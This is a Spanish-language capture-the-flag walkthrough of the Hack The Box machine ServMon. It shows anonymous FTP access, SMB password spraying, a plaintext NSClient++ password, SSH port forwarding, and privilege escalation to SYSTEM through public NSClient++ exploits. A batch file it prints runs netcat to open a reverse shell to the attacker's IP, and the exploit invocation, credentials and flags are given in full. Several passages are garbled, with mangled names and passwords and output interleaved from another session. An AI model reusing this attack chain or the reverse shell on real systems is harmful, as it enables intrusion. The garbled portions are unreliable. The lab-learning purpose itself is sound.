


```

> ftp 10.10.10.184
Connected to 10.10.10.184.
220 Microsoft FTP Service
Name (10.10.10.184:cyb3rb0b): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls Home
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:05PM <DIR> Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:06PM <DIR> Nadine
01-18-20 12:08PM <DIR> Nathan
226 Transfer complete.
ftp> ls Nadine
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:08PM 174 Confidential.txt
226 Transfer complete.
ftp> get Nadine/Confidential.txt
local: Nadine/Confidential.txt remote: Nadine/Confidential.txt
local: Nadine/Confidential.txt: No such file or directory
ftp>

```

Se bajan los dos archivos encontrados, **Confidential.txt** y **Notes to do.txt**.

```

> cat Confidential.txt && cat Notes\to\do.txt
Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine! Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
> cat Notes\to\do.txt
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

```

El archivo habla la contraseña quedo en el Escritorio del usuario Nathan.

Vemos un sitio web que esta por el puerto 80.

Como la nota fue dirigida a Nathan pero decia que habia dejado la clave de Nadine en el escritorio, se procede a validar la conexión aprovechando el smb habilitado.

```
> crackmapexec smb 10.10.10.184 -u Nadine -p passwords.txt
SMB 10.10.10.184 445 SERVMON [*] Windows 10.0 Build 18362 x64 (name:SERVMON) (domain:SERVMON) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nadine:Insp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nadine:Th3r34r3ToM4nyTraitor5! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nadine:B3WithM3r4gain5tMe STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [+] SERVMON\Nadine:L1k3B1gBut7s@W0rk
```

Se prueba la conexión por SSH.

```
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>whoami
servmon\nadine

nadine@SERVMON C:\Users\Nadine>cd Desktop

nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt
88994d9b038f3e7dd7274c7444f3f252

nadine@SERVMON C:\Users\Nadine\Desktop>
```

Elevada de Privilegios

Se encuentra en c:\Program Files\NSClient++, se busca en exploitdb, y tambien tiene una vulnerabilidad de escalación de privilegios.

<https://www.exploit-db.com/exploits/46802>

NSClient++ 0.5.2.35 - Privilege Escalation

EDB-ID:
46802

CVE:
N/A

EDB Verified: ✖

Author:
BZY0

Type:
LOCAL

Exploit: 📄 / {}

Platform:
WINDOWS

Date:
2019-05-06

Vulnerable App: 📄

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GET CERTIFIED

Se lee el archivo nsclient.ini, y alli esta la contraseña del sitio web.

```

nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini
;# If you want to fill this file with all available options run the following command:
# nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
# nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help
Version: 0.5.2.35
Software Link: http://nsclient.org/download/
; in flight - TODO
[/settings/default]

; Undocumented key calls:
password = ew2x6SsGTxjRwXOT
; Undocumented key
allowed hosts = 127.0.0.1
; in flight - TODO
[/settings/NRPE/server]

```

Según la documentación se ve que la interfaz es por el puerto 8443

🌐 <https://docs.nsclient.org/web/>

NSClient++
Manual ^
NSClient++
Getting Started
Theory
Checking Things
Installing NSClient++
Configuration
WEB UI
FAQ
About v
Tutorial
Howto v
Reference v
Extending v
API v

Web Interface

You can also access the web interface by using your favorite browser.

The **Home** screen greets you with a metrics overview.

The screenshot shows the NSClient++ web interface in a browser window. The address bar shows the URL `https://192.168.2.108:8443/index.html/#/`. The interface has a navigation bar with links: Home, Modules, Settings, Queries, Log, Console, Changes, Help, Control. On the left, there are summary cards for CPU (67%), Memory (1.7/2 gb (83%)), and Disk 0 C: (0%). The main section is titled 'Metrics' and contains a table with system metrics.

Path	Value
system.cpu.core 0.idle	35
system.cpu.core 0.kernel	44.8
system.cpu.core 0.total	65
system.cpu.core 0.user	20.200000000000003
system.cpu.core 1.idle	30.8
system.cpu.core 1.kernel	49.8
system.cpu.core 1.total	69.2
system.cpu.core 1.user	19.400000000000006
system.cpu.total.idle	32.9
system.cpu.total.kernel	47.3
system.cpu.total.total	67.1
system.cpu.total.user	19.799999999999997

```

> nmap -T5 -p8443 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-08 14:36 -05
Nmap scan report for 10.10.10.184
Host is up (0.12s latency).

PORT      STATE SERVICE
8443/tcp  open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds

```

Pero no carga el sitio.

Revisando la documentación de la API, se puede habilitar el sitio web desde consola, y revisando los permisos del usuario sobre dicha carpeta se pueden hacer ambas cosas.

Alternatively you can enable the `WEBServer` module on the CLI afterwards:

```
nscp web install --password <MY SECURE API KEY>
```

```
nadine@SERVMON C:\Program Files\NSClient++>icacls .
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files

nadine@SERVMON C:\Program Files\NSClient++>
```

```
> nscp web install --password ew2x6SsGTxjRwXOT
```

<pre> hadline@SERVERM0N C:\Program Files\VSClient++>vscli web install --password evx26550TjRxb0T E core Settings error: Failed to save file 'intli:///\$(shared-path)/nscint.lnli': I/O error: S: Access is denied. c:\source\master\service\Settings_query_handler.cpp:62 Enabling WEB access from 127.0.0.1 Point your browser to https://localhost:8442 login using this password evx26550TjRxb0T C:\Program Files\VSClient++\nscint.log could not be opened, Discarding: error: Settings error: Failed to save file 'intli:///\$(shared-path)/nscint.lnli': I/O error: S: Access is denied. - PASSWORD - Password used to authenticate against server password = evx26550TjRxb0T </pre>	<p>Assigning roles to users</p> <p>Hypermedia</p> <p>Pagination (next page)</p> <p>Link Headers</p> <p>Link error: S: Access is denied.</p> <p>Formatting json</p> <p>Fields</p>
--	--

Sin embargo, unicamente se puede acceder localmente, entonces, se hace tunneling y port forward.


```
> ssh -L8443:127.0.0.1:8443 nadine@10.10.10.184
```

El sitio responde localmente y solicita la contraseña de inicio de sesion.

⚠ Not secure | localhost:8443/index.html/

NSClient++HomeModulesSettingsQueriesLogConsole

Sign in to use NSClient++



Sign in

[Forgotten password?](#)

Según el exploit se debe crear 1 archivo que ejecute netcat, se procede a subir ambos archivos a c:\temp

```
Directory of C:\Temp
08/06/2020  21:14  Res<DIR> the computer and wait for the rever
08/06/2020  21:14  nc<DIR> 443  ..
08/06/2020  21:07  listening on 53 connect.bat
08/06/2020  21:05  38,616 nc.exe
17/09/2011  06:52  connect to 45,272 nc64.exe from (UNKNOWN)
3 File(s) 83,941 bytes
2 Dir(s) 27,838,406,656 bytes free All rights reserved

nadine@SERVMON C:\Temp>type connect.bat
@echo off
c:\temp\nc.exe 10.10.15.10 9001 -e cmd.exe
nadine@SERVMON C:\Temp>
```

Se deben hacer varios pasos para que este se ejecute, pero se encuentra ya un exploit que automatiza el proceso.

🌐 <https://www.exploit-db.com/exploits/48360>

NSClient++ 0.5.2.35 - Authenticated Remote Code Execution

EDB-ID: 48360	CVE: N/A	Author: KINDREDSEC	Type: WEBAPPS	Platform: JSON	Date: 2020-04-21
EDB Verified: ✖		Exploit: 📄 / {}		Vulnerable App:	

```
> python3 nsclient.py
usage: NSClient++ 0.5.2.35 Authenticated RCE [-h] [-t [target]] [-P [port]] [-p [password]] [-c [command]]

optional arguments:
  -h, --help            show this help message and exit
  -t [target]            Target IP Address.
  -P [port]             Target Port.
  -p [password]         NSClient++ Administrative Password.
  -c [command]          Command to execute on target

🐟 @ /htb/machines/ServMon
```

🐟 > python3 nsclient.py -t 127.0.0.1 -P 8443 -p ew2x6SsGTxjRwXOT -c "c:\temp\connect.bat"

🐟 > nc -nlvp 9001


```
> nc -nlvp 9001 - foobar
listening on [any] 9001 ...
connect to [10.10.15.10] from (UNKNOWN) [10.10.10.184] 50008
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

7. Restart the computer and wait for the reverse shell

C:\Program Files\NSClient++>whoami
whoami
nt authority\system
listening on [any] 443 ...
connect to [192.168.0.163] from (UNKNOWN) [192.168.0.163] 443
C:\Program Files\NSClient++>cd \dows [Version 10.0.17134.753]
cd \
(c) 2018 Microsoft Corporation. All rights reserved.
C:\>d us
C:\Program Files\NSClient++>whoami
C:\>cd users\Administrator\Desktop
cd users\Administrator\Desktop\system
type
C:\Users\Administrator\Desktop>root.txt
type root.txt
c8328a811be2fa4740c415a1cbabcdd4 allows local attackers to escalate
C:\Users\Administrator\Desktop>
```